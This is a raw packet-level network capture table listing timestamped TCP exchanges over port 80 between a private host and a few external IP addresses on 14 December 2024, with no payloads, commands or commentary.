Dec 14, 2024 14:56:32.395814896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.396744967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.396842003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.396878958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.396893024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.397849083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.397902012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.397958994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.398319960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.398967981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.399076939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.399112940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.400063992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.400124073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.400165081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.400207043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.401171923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.401226044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.401283979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.401360035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.402298927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.402345896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.402415037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.402584076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.403387070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.403436899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.403547049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.403635979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.404555082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.404620886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.404647112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.404684067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.405636072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.405704021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.405749083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.405913115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.406775951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.406836033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.406853914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.406889915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.407875061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.407938004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.408016920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.408140898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.408970118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.409027100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.409097910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.409250021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.410073996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.410135031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.410195112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.410234928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.411217928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.411331892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.411331892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.411364079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.412312984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.412409067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.412439108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.412482977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.413450956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.413537025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.413539886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.413613081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.414537907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.414683104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.414709091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.414722919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.416476011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.416546106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.416555882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.416585922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.417373896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.417422056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.417485952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.417561054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.418101072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.418189049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.418200016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.418224096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.419018030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.419069052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.419142008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.419219017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.420125008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.420167923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.420183897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.420217037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.421205997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.421248913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.421307087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.421399117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.422368050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.422409058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.422467947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.422616005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.423449993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.423487902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.423568010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.423645020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.424566984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.424604893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.424684048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.424719095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.425704956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.425748110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.425810099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.426078081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.426790953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.426878929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.426913023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.440851927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.440905094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.440988064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.441046953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.441420078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.441461086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.441492081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.441643953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.442532063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.442576885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.442692995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.442800045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.443618059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.443661928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.444004059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.444045067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.444091082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.444216967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.445105076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.445175886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.445207119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.445250988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.446235895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.446316957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.446348906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.446389914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.447413921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.447457075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.447482109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.447597027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.448438883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.448482037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.448534966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.448570967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.449582100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.449625015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.449702978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.449810028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.450704098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.450753927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.450789928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.450833082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.451829910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.451874018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.451972961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.452009916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.452936888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.452980042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.453005075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.453047037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.454090118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.454133987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.454180002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.454402924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.455173016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.455210924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.455236912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.455271006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.456289053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.456299067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.456334114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.457334042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.457393885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.457417011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.457453012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.458473921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.458509922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.458564043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.458600044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.459584951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.459621906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.459686995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.459759951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.460695982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.460731030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.460808992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.460844994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.461807013 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.461842060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.461913109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.461950064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.462934971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.462973118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.463103056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.463145018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.464304924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.464409113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.464437962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.464474916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.465266943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.465303898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.465379000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.465419054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.474395037 CET	49896	80	192.168.2.5	82.64.156.123
Dec 14, 2024 14:56:32.510462999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.510528088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.510659933 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.511286974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.511579037 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.511662960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.511884928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.512069941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.512870073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.512937069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.513048887 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.513712883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.513753891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.513828039 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.514605999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.514699936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.514769077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.515571117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.515645027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.515799999 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.516722918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.516882896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.516978025 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.517947912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.518039942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.518110037 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.519136906 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.519180059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.519254923 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.520319939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.520380974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.520450115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.521449089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.521655083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.521718979 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.522618055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.522742987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.522802114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.523848057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.523942947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.524028063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.525024891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.525105000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.525166988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.526184082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.526243925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.526335955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.527405024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.527455091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.527513027 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.528588057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.528695107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.528758049 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.529752016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.529902935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.529980898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.530931950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.531033039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.532103062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.532140017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.532247066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.532314062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.533284903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.533425093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.533495903 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.534475088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.534629107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.534707069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.535772085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.535892963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.536047935 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.536838055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.536931038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.536995888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.538007021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.538130999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.538212061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.539192915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.539294004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.539359093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.540384054 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.540510893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.540674925 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.541584015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.541640043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.541721106 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.542752981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.542861938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.542916059 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.543997049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.544058084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.544120073 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.545106888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.545269966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.545336962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.546303034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.546397924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.546555996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.547504902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.547627926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.547696114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.548667908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.548804045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.548862934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.549844027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.549964905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.550071955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.551021099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.551142931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.551222086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.552252054 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.552306890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.552526951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.553534985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.553597927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.553661108 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.554585934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.554693937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.554785967 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.555768967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.555879116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.556041956 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.556930065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.557046890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.557106018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.558129072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.558270931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.558403015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.559303999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.559420109 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.559504032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.560514927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.560597897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.560803890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.561669111 CET	80	49888	185.81.68.147	192.168.2.5
